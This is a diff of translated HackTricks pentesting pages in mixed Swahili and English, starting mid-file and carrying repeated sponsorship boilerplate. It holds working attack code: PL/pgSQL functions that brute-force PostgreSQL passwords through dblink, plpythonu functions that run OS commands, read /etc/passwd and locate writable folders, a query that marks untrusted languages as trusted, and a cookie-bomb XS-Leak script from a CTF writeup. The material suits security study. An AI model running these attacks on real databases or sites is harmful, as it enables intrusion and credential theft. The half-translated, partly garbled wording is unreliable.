* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,46 +1,49 @@
|
|||
# PL/pgSQL Uvunjaji wa Nywila
|
||||
# PL/pgSQL Password Bruteforce
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Pata [mashambulizi zaidi kuhusu hili katika karatasi ya asili](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
|
||||
**Find [more information about these attack in the original paper](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
|
||||
|
||||
PL/pgSQL ni **lugha kamili ya programu** ambayo inazidi uwezo wa SQL kwa kutoa **udhibiti ulioimarishwa wa taratibu**. Hii ni pamoja na matumizi ya mizunguko na muundo mbalimbali wa udhibiti. Kazi zilizoundwa kwa lugha ya PL/pgSQL zinaweza kuitwa na taarifa za SQL na vifungo, kuongeza wigo wa shughuli ndani ya mazingira ya hifadhidata.
|
||||
PL/pgSQL ni **lugha ya programu iliyo na vipengele vyote** ambayo inapanua uwezo wa SQL kwa kutoa **udhibiti wa taratibu ulioimarishwa**. Hii inajumuisha matumizi ya mizunguko na muundo mbalimbali wa udhibiti. Kazi zilizoundwa katika lugha ya PL/pgSQL zinaweza kuitwa na taarifa za SQL na triggers, kupanua wigo wa operesheni ndani ya mazingira ya hifadhidata.
|
||||
|
||||
Unaweza kutumia lugha hii kudukua PostgreSQL ili kujaribu kuvunja nywila za watumiaji, lakini lazima iwe ipo kwenye hifadhidata. Unaweza kuthibitisha uwepo wake kwa kutumia:
|
||||
Unaweza kutumia lugha hii ili kuomba PostgreSQL kujaribu nguvu akidi za watumiaji, lakini lazima iwepo kwenye hifadhidata. Unaweza kuthibitisha uwepo wake kwa kutumia:
|
||||
```sql
|
||||
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
||||
lanname | lanacl
|
||||
---------+---------
|
||||
plpgsql |
|
||||
```
|
||||
Kwa chaguo-msingi, **kuunda kazi ni haki iliyotolewa kwa umma**, ambapo UMMA inahusu kila mtumiaji kwenye mfumo huo wa database. Ili kuzuia hili, msimamizi angehitaji kurejesha haki ya MATUMIZI kutoka kwa kikoa cha UMMA:
|
||||
Kwa default, **kuunda kazi ni haki inayotolewa kwa PUBLIC**, ambapo PUBLIC inarejelea kila mtumiaji kwenye mfumo huo wa hifadhidata. Ili kuzuia hili, msimamizi angeweza kuondoa haki ya USAGE kutoka kwa eneo la PUBLIC:
|
||||
```sql
|
||||
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
|
||||
```
|
||||
Katika kesi hiyo, swali letu la awali litatoa matokeo tofauti:
|
||||
Katika kesi hiyo, ombi letu la awali lingetoa matokeo tofauti:
|
||||
```sql
|
||||
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
||||
lanname | lanacl
|
||||
---------+-----------------
|
||||
plpgsql | {admin=U/admin}
|
||||
```
|
||||
Tafadhali kumbuka kuwa ili script ifuatayo ifanye kazi **kazi ya `dblink` inahitajika**. Ikiwa haipo, unaweza kujaribu kuunda kwa kutumia 
|
||||
Kumbuka kwamba ili script ifanye kazi **kazi `dblink` inahitaji kuwepo**. Ikiwa haipo unaweza kujaribu kuunda hiyo na
|
||||
```sql
|
||||
CREATE EXTENSION dblink;
|
||||
```
|
||||
## Kuvunja Nguvu ya Nenosiri
|
||||
## Password Brute Force
|
||||
|
||||
Hapa ndipo unaweza kutekeleza kuvunja nguvu ya nenosiri lenye herufi 4:
|
||||
Hapa kuna jinsi unavyoweza kufanya brute force ya nywila ya herufi 4:
|
||||
```sql
|
||||
//Create the brute-force function
|
||||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||||
|
|
@ -79,9 +82,9 @@ $$ LANGUAGE 'plpgsql';
|
|||
//Call the function
|
||||
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
||||
```
|
||||
_Note kwamba hata kuvunja nguvu wahusika 4 inaweza kuchukua dakika kadhaa._
|
||||
_Nakili kwamba hata kujaribu nguvu kwa herufi 4 kunaweza kuchukua dakika kadhaa._
|
||||
|
||||
Unaweza pia **kupakua orodha ya maneno** na kujaribu nywila hizo tu (shambulio la kamusi):
|
||||
Unaweza pia **kupakua orodha ya maneno** na kujaribu tu nywila hizo (shambulio la kamusi):
|
||||
```sql
|
||||
//Create the function
|
||||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||||
|
|
@ -116,14 +119,17 @@ $$ LANGUAGE 'plpgsql'
|
|||
-- Call the function
|
||||
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,41 +1,41 @@
|
|||
# RCE with PostgreSQL Languages
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kuhack AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Lugha za PostgreSQL
|
||||
## PostgreSQL Languages
|
||||
|
||||
Hifadhidata ya PostgreSQL ambayo umepata ufikiaji inaweza kuwa na **lugha za programu zilizosanikishwa** ambazo unaweza kuzitumia kwa **kutekeleza nambari yoyote**.
|
||||
|
||||
Unaweza **kuzipata zikifanya kazi**:
|
||||
Hifadhi ya PostgreSQL uliyopata inaweza kuwa na **lugha za skripti tofauti zilizowekwa** ambazo unaweza kuzitumia ili **kutekeleza msimbo wa kawaida**.
|
||||
|
||||
Unaweza **kuzipata zinafanya kazi**:
|
||||
```sql
|
||||
\dL *
|
||||
|
||||
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
|
||||
```
|
||||
|
||||
Wengi wa lugha za skrini unazoweza kusakinisha kwenye PostgreSQL zina **aina 2**: **iliyothaminiwa** na **isiyothaminiwa**. Lugha **isiyothaminiwa** itakuwa na jina **linalomalizika na "u"** na itakuwa toleo ambalo litakuruhusu **kutekeleza nambari** na kutumia kazi nyingine za kuvutia. Hizi ni lugha ambazo zinavutia ikiwa zinasakinishwa:
|
||||
Most of the scripting languages you can install in PostgreSQL have **2 flavours**: the **trusted** and the **untrusted**. The **untrusted** will have a name **ended in "u"** and will be the version that will allow you to **execute code** and use other interesting functions. This are languages that if installed are interesting:
|
||||
|
||||
* **plpythonu**
|
||||
* **plpython3u**
|
||||
* **plperlu**
|
||||
* **pljavaU**
|
||||
* **plrubyu**
|
||||
* ... (lugha nyingine yoyote ya programu inayotumia toleo lisilo salama)
|
||||
* ... (any other programming language using an insecure version)
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ikiwa utagundua kuwa lugha ya kuvutia ime **sakinishwa** lakini **isiyothaminiwa** na PostgreSQL (**`lanpltrusted`** ni **`isiyo sahihi`**), unaweza kujaribu **kuithamini** na mstari ufuatao ili hakuna vizuizi vitakavyotekelezwa na PostgreSQL:
|
||||
|
||||
If you find that an interesting language is **installed** but **untrusted** by PostgreSQL (**`lanpltrusted`** is **`false`**) you can try to **trust it** with the following line so no restrictions will be applied by PostgreSQL:
|
||||
```sql
|
||||
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
|
||||
# To check your permissions over the table pg_language
|
||||
|
|
@ -45,7 +45,6 @@ SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_languag
|
|||
|
||||
{% hint style="danger" %}
|
||||
Ikiwa huoni lugha, unaweza kujaribu kuipakia na (**unahitaji kuwa superadmin**):
|
||||
|
||||
```
|
||||
CREATE EXTENSION plpythonu;
|
||||
CREATE EXTENSION plpython3u;
|
||||
|
|
@ -55,12 +54,12 @@ CREATE EXTENSION plrubyu;
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
Tafadhali kumbuka kuwa niwezekana kuunda toleo salama kama "lisilo salama". Angalia [**hii**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) kama mfano. Kwa hivyo, ni vyema kujaribu ikiwa unaweza kutekeleza nambari hata ikiwa unapata tu imewekwa **imani**.
|
||||
Kumbuka kwamba inawezekana kukusanya toleo salama kama "lisilo salama". Angalia [**hii**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) kwa mfano. Hivyo, kila wakati inafaa kujaribu ikiwa unaweza kutekeleza msimbo hata kama unapata tu toleo **lililoaminika** lililowekwa.
|
||||
|
||||
## plpythonu/plpython3u
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="RCE" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION exec (cmd text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
|
@ -75,7 +74,7 @@ SELECT cmd("ls"); #RCE with popen or execve
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="Pata mtumiaji wa OS" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION get_user (pkg text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
|
@ -89,7 +88,7 @@ SELECT get_user(""); #Get user, para is useless
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="Orodha ya saraka" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION lsdir (dir text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
|
@ -105,7 +104,7 @@ SELECT lsdir("/"); #List dir
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="Pata W folda" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION findw (dir text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
|
@ -134,7 +133,7 @@ SELECT findw("/"); #Find Writable folders from a folder (recursively)
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="Pata Faili" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
|
@ -169,7 +168,7 @@ SELECT find_file("psql"); #Find a file
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="Pata executable" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION findx (dir text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
|
@ -203,7 +202,7 @@ SELECT findx("/"); #Find an executables in folder (recursively)
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Tafuta exec kwa kubadilisha" %}
|
||||
{% tab title="Pata exec kwa subs" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
|
@ -238,7 +237,7 @@ SELECT find_exe("psql"); #Find executable by susbstring
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="Soma" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION read (path text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
|
@ -254,7 +253,7 @@ select read('/etc/passwd'); #Read a file in b64
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="Pata ruhusa" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION get_perms (path text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
|
@ -313,14 +312,17 @@ Angalia ukurasa ufuatao:
|
|||
[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**]\(https://t.me/peass) au **nifuate** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,18 +1,21 @@
|
|||
# Mabomu ya Vidakuzi + Kuvuja kwa Onerror XS
|
||||
# Cookie Bomb + Onerror XS Leak
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Script** ifuatayo iliyochukuliwa kutoka [**hapa**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) inatumia kazi ambayo inaruhusu mtumiaji kuweka **idadi yoyote ya vidakuzi**, na kisha kupakia faili kama skripti ikijua kuwa jibu halisi litakuwa kubwa kuliko jibu la uwongo na kisha. Ikiwa mafanikio, jibu ni uhamisho na URL inayotokana ni ndefu, **kubwa sana kushughulikiwa na seva hivyo inarudisha kificho cha hali ya http cha kosa**. Ikiwa utafutaji haufanikiwi, hakuna kitatokea kwa sababu URL ni fupi.
|
||||
The following **script** taken from [**here**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) is exploiting a functionality that allows the user to **insert any amount of cookies**, and then loading a file as a script knowing that the true response will be larger than the false one and then. If successful, the response is a redirect with a resulting URL longer, **sana kubwa kushughulikia na server hivyo inarudisha msimbo wa hali ya makosa http**. If the search fails, nothing will happen because URL is short.
|
||||
```html
|
||||
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
|
||||
<script>
|
||||
|
|
@ -61,14 +64,17 @@ break;
|
|||
};
|
||||
</script>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
